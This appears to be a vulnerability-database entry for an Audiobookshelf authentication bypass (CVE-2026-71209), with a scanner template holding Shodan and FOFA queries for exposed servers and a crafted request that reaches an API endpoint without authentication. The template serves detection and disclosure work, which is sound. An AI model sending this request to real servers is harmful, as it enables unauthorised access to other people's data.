Audiobookshelf - Authentication Bypass
| Reporter | Title | Published | Views | Family All 7 |
|---|---|---|---|---|
| CVE-2026-71209 | 5 Aug 202606:59 | – | attackerkb | |
| CVE-2026-71209 | 5 Aug 202606:59 | – | cve | |
| CVE-2026-71209 audiobookshelf - %2F Encoding Discrepancy Bypasses Cover/Image Auth Exemption Regex, Enabling Unauthenticated Path Traversal | 5 Aug 202606:59 | – | cvelist | |
| EUVD-2026-53206 | 5 Aug 202606:59 | – | euvd | |
| CVE-2026-71209 | 5 Aug 202608:16 | – | nvd | |
| CVE-2025-25205 Remote Authentication-Bypass can lead to server crash or limited information disclosure due to faulty pattern matching | 12 Feb 202518:16 | – | osv | |
| CVE-2026-71209 audiobookshelf - %2F Encoding Discrepancy Bypasses Cover/Image Auth Exemption Regex, Enabling Unauthenticated Path Traversal | 5 Aug 202606:59 | – | vulnrichment |
id: CVE-2026-71209
info:
name: Audiobookshelf - Authentication Bypass
author: str4k3r
severity: critical
description: |
Audiobookshelf contains a path traversal caused by improper authentication-exemption check on URL-encoded paths in server/routers/Auth.js, letting unauthenticated attackers read arbitrary files, exploit requires crafted URL with encoded traversal sequences.
impact: |
Unauthenticated attackers can read arbitrary files accessible by the service account, leading to sensitive information disclosure.
remediation: |
Update to the latest version with proper decoding and authentication checks for path parameters.
reference:
- https://github.com/advplyr/audiobookshelf/security/advisories/GHSA-pg8v-5jcv-wrvw
- https://nvd.nist.gov/vuln/detail/CVE-2026-71209
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-71209
epss-score: 0.00528
epss-percentile: 0.4189
cwe-id: CWE-287
metadata:
verified: true
max-request: 2
vendor: audiobookshelf
product: audiobookshelf
shodan-query: title:"audiobookshelf"
fofa-query: title="audiobookshelf"
tags: cve,cve2026,audiobookshelf,auth-bypass,exposure
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 3
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_any(body, "audiobookshelf", "Audiobookshelf")'
condition: and
internal: true
- raw:
- |
GET /api/collections?r=/api/items/1/cover HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains(body, "collections")'
condition: and
# digest: 4b0a00483046022100ef9d9b29f5103e0b7f305a51904ec3c97bb6be504a42b8158a54d21ccf295623022100df565364282cd8925c6f0098c95076a054691c68c0f8ad771affc6177d98c87f:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
06 Aug 2026 20:42Current
5.4Medium risk
Vulners AI Score5.4
CVSS 3.17.5
EPSS0.0176
SSVC